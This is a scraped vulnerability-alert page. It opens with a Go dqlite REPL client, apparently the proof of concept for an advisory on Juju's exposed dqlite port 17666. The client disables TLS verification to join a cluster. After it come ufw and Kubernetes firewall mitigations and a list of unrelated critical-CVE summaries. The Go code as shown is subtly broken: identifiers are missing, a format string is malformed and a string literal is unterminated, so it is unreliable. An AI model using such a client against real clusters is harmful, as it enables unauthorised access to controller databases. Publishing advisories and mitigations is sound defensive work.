for { input, err := line.Prompt(prompt(buf.Len() > 0)) if err != nil { if err == liner.ErrPromptAborted { if buf.Len() > 0 { buf.Reset() fmt.Println("(statement aborted)") } continue } // EOF (Ctrl-D) or liner closed externally — exit cleanly. fmt.Println() break }

if input != "" { line.AppendHistory(input) }

trimmed := strings.TrimSpace(input) if trimmed == "" { continue }

// Meta-commands are only recognised at the start of a fresh statement. if buf.Len() == 0 && strings.HasPrefix(trimmed, ".") { parts := strings.Fields(trimmed) switch parts[0] { case ".exit": return nil

case ".close": if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Error closing database: %v\n", err) } else { fmt.Printf("Database %q closed.\n", currentDBName) } currentDB = nil currentDBName = "" } else { fmt.Println("No database is currently open.") }

case ".switch": if len(parts) < 2 { fmt.Fprintln(os.Stderr, "Usage: .switch <database>") } else { if err := openDB(parts[1]); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } }

default: fmt.Fprintf(os.Stderr, "Unknown meta-command: %s\n", parts[0]) fmt.Fprintln(os.Stderr, "Available meta-commands: .switch <database> .close .exit") } continue }

// Accumulate SQL across lines. if buf.Len() > 0 { buf.WriteByte('\n') } buf.WriteString(input)

// Execute once the statement is terminated with a semicolon. stmt := strings.TrimSpace(buf.String()) if strings.HasSuffix(stmt, ";") { buf.Reset() if currentDB == nil { fmt.Fprintln(os.Stderr, "Error: no database open. Use .switch <database> to open one.") continue } if err := execSQL(currentDB, stmt); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } }

return nil }

// execSQL dispatches to execQuery or execStatement based on the leading keyword. func execSQL(db sql.DB, stmt string) error { // Trim the trailing semicolon just for the prefix check. upper := strings.ToUpper(strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(stmt), ";"))) switch { case strings.HasPrefix(upper, "SELECT"), strings.HasPrefix(upper, "WITH"), strings.HasPrefix(upper, "PRAGMA"), strings.HasPrefix(upper, "EXPLAIN"): return execQuery(db, stmt) default: return execStatement(db, stmt) } }

// execQuery runs a statement expected to return rows and prints them as a table. func execQuery(db sql.DB, stmt string) error { rows, err := db.Query(stmt) if err != nil { return err } defer rows.Close()

cols, err := rows.Columns() if err != nil { return err } if len(cols) == 0 { fmt.Println("OK") return nil }

// Initialise column widths from the header names. widths := make([]int, len(cols)) for i, c := range cols { widths[i] = len(c) }

// Scan all rows into memory so we can compute column widths before printing. vals := make([]interface{}, len(cols)) valPtrs := make([]interface{}, len(cols)) for i := range vals { valPtrs[i] = &vals[i] }

var allRows [][]string for rows.Next() { if err := rows.Scan(valPtrs...); err != nil { return err } row := make([]string, len(cols)) for i, v := range vals { if v == nil { row[i] = "NULL" } else { row[i] = fmt.Sprintf("%v", v) } if len(row[i]) > widths[i] { widths[i] = len(row[i]) } } allRows = append(allRows, row) } if err := rows.Err(); err != nil { return err }

printRow(cols, widths) printSeparator(widths) for , row := range allRows { printRow(row, widths) } fmt.Printf("(%d row(s))\n", len(allRows)) return nil }

// execStatement runs a non-SELECT statement and prints the rows-affected count. func execStatement(db sql.DB, stmt string) error { result, err := db.Exec(stmt) if err != nil { return err } affected, err := result.RowsAffected() if err != nil { fmt.Println("OK") return nil } fmt.Printf("OK (%d row(s) affected)\n", affected) return nil }

func printRow(vals []string, widths []int) { parts := make([]string, len(vals)) for i, v := range vals { parts[i] = fmt.Sprintf("%-s", widths[i], v) } fmt.Println(strings.Join(parts, " | ")) }

func printSeparator(widths []int) { parts := make([]string, len(widths)) for i, w := range widths { parts[i] = strings.Repeat("-", w) } fmt.Println(strings.Join(parts, "-+-")) }

func main() { var db string var join []string var dir string var verbose bool var dbName string

cmd := &cobra.Command{ Use: "dqlite-demo", Short: "Interactive dqlite SQL REPL", Long: An interactive SQL REPL backed by a dqlite cluster node.

Type SQL statements terminated with a semicolon (;) to execute them. Statements can span multiple lines.

Meta-commands: .switch <database> Open (or switch to) a named database .close Close the current database connection .exit Exit the REPL

Complete documentation is available at https://github.com/canonical/go-dqlite, RunE: func(cmd cobra.Command, args []string) error { nodeDir := filepath.Join(dir, db) if err := os.MkdirAll(nodeDir, 0755); err != nil { return errors.Wrapf(err, "can't create %s", nodeDir) }

logFunc := func(l client.LogLevel, format string, a ...interface{}) { if !verbose { return } log.Printf(fmt.Sprintf("%s: %s: %s\n", db, l.String(), format), a...) }

cart, err := generateSelfSignedCert() if err != nil { return err } options := []app.Option{ app.WithAddress(db), app.WithCluster(join), app.WithLogFunc(logFunc), app.WithTLS(&tls.Config{ InsecureSkipVerify: true, ClientCAs: x509.NewCertPool(), Certificates: []tls.Certificate{cart}, }, &tls.Config{ InsecureSkipVerify: true, }), }

dqliteApp, err := app.New(nodeDir, options...) if err != nil { return err } defer func() { dqliteApp.Handover(context.Background()) dqliteApp.Close() }()

if err := dqliteApp.Ready(context.Background()); err != nil { return err }

line := liner.NewLiner() line.SetCtrlCAborts(true) defer line.Close()

// Forward termination signals by closing the liner, which causes // Prompt() to return and the REPL loop to exit cleanly. sigCh := make(chan os.Signal, 32) signal.Notify(sigCh, unix.SIGPWR, unix.SIGQUIT, unix.SIGTERM) go func() { <-sigCh line.Close() }()

return runREPL(context.Background(), dqliteApp, dbName, line) }, }

flags := cmd.Flags() flags.StringVarP(&db, "db", "d", "", "address used for internal database replication") join = flags.StringSliceP("join", "j", nil, "database addresses of existing nodes") flags.StringVarP(&dir, "dir", "D", "/tmp/dqlite-demo", "data directory") flags.BoolVarP(&verbose, "verbose", "v", false, "verbose logging") flags.StringVarP(&dbName, "name", "n", "controller", "initial database name to open on startup")

cmd.MarkFlagRequired("db")

if err := cmd.Execute(); err != nil { os.Exit(1) } } Mitigation

The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content.

Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666. Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port.

To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly. You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers.

Retrict access to the Dqlite port. sudo ufw allow from <controllerip1> to any port 17666 proto tcp sudo ufw allow from <controllerip2> to any port 17666 proto tcp sudo ufw allow from <controllerip3> to any port 17666 proto tcp sudo ufw deny 17666/tcp Similarly, the mongo db port needs to allow controller access. sudo ufw allow from <controllerip1> to any port 37017 proto tcp sudo ufw allow from <controllerip2> to any port 37017 proto tcp sudo ufw allow from <controllerip3> to any port 37017 proto tcp sudo ufw deny 37017/tcp Allow access to the controller API port. sudo ufw allow from <your cidr goes here> to any port 17070 proto tcp Allow access to the controller SSH port. sudo ufw allow from <your cidr goes here> to any port 22 proto tcp Ensure the firewall is enabled. sudo ufw enable Check that the rules have been added correctly. sudo ufw status

For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy:

apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: controller-0-17666-only-itself namespace: <your controller namespace goes here> spec: podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 ports: - protocol: TCP port: 17666

1 / 2
Source: GitHub
First published (updated )
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Severity
10
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary Instance template files can be used to cause arbitrary read or writes as root on the host server.

Details Incus allows for pongo2 templates within instances which can be used at various times in the instance lifecycle to template files inside of the instance. This particular implementation of pongo2 within Incus allowed for file read/write but with the expectation that the pongo2 chroot feature would isolate all such access to the instance's filesystem.

This was allowed such that a template could theoretically read a file and then generate a new version of said file.

Unfortunately the chroot isolation mechanism is entirely skipped by pongo2 leading to easy access to the entire system's filesystem with root privileges.

Credit This issue was discovered and reported by the team at 7asecurity

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H

Due to insufficient verification, an attacker could use a malicious client to bypass authentication checks and run RPC commands in a region. This has been addressed in MAAS and updated in the corresponding snaps.

First published (updated )
Severity
9.3
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

1 / 4
Source: Red Hat
First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Last updated 25 August 2025

1 / 2
Source: Ubuntu
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

MileSight DeviceHub - CWE-320: Key Management Errors may allow Authentication Bypass and Man-In-The-Middle Traffic

First published (updated )
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Severity
9.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MileSight DeviceHub -

CWE-330 Use of Insufficiently Random Values may allow Authentication Bypass

First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

MileSight DeviceHub -

CWE-305 Missing Authentication for Critical Function

First published (updated )
Severity
9.8
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MileSight DeviceHub -

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') may allow Unauthenticated RCE

First published (updated )
Severity
10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Last updated 24 July 2024

1 / 2
Source: Ubuntu
First published (updated )
Severity
9.6
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A vulnerability has been discovered in the Citrix Secure Access client for Ubuntu which, if exploited, could allow an attacker to remotely execute code if a victim user opens an attacker-crafted link and accepts further prompts.

First published (updated )
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Severity
9.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Landscape's server-status page exposed sensitive system information. This data leak included GET requests which contain information to attack and leak further information from the Landscape API.

First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mahara 21.04 before 21.04.7, 21.10 before 21.10.5, 22.04 before 22.04.3, and 22.10 before 22.10.0 potentially allow a PDF export to trigger a remote shell if the site is running on Ubuntu and the flag -dSAFER is not set with Ghostscript.

First published (updated )
Severity
10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Parse Server is an open source http web server backend. In versions prior to 4.10.7 there is a Remote Code Execution (RCE) vulnerability in Parse Server. This vulnerability affects Parse Server in the default configuration with MongoDB. The main weakness that leads to RCE is the Prototype Pollution vulnerable code in the file DatabaseController.js, so it is likely to affect Postgres and any other database backend as well. This vulnerability has been confirmed on Linux (Ubuntu) and Windows. Users are advised to upgrade as soon as possible. The only known workaround is to manually patch your installation with code referenced at the source GHSA-p6h4-93qp-jhcm.

First published (updated )
Severity
9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The Samba vfsfruit module uses extended file attributes (EA, xattr) to provide "...enhanced compatibility with Apple SMB clients and interoperability with a Netatalk 3 AFP fileserver." Samba versions prior to 4.13.17, 4.14.12 and 4.15.5 with vfsfruit configured allow out-of-bounds heap read and write via specially crafted extended file attributes. A remote attacker with write access to extended file attributes can execute arbitrary code with the privileges of smbd, typically root.

First published (updated )
Severity
10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Redis is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution.

1 / 4
Source: CISA
First published (updated )
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203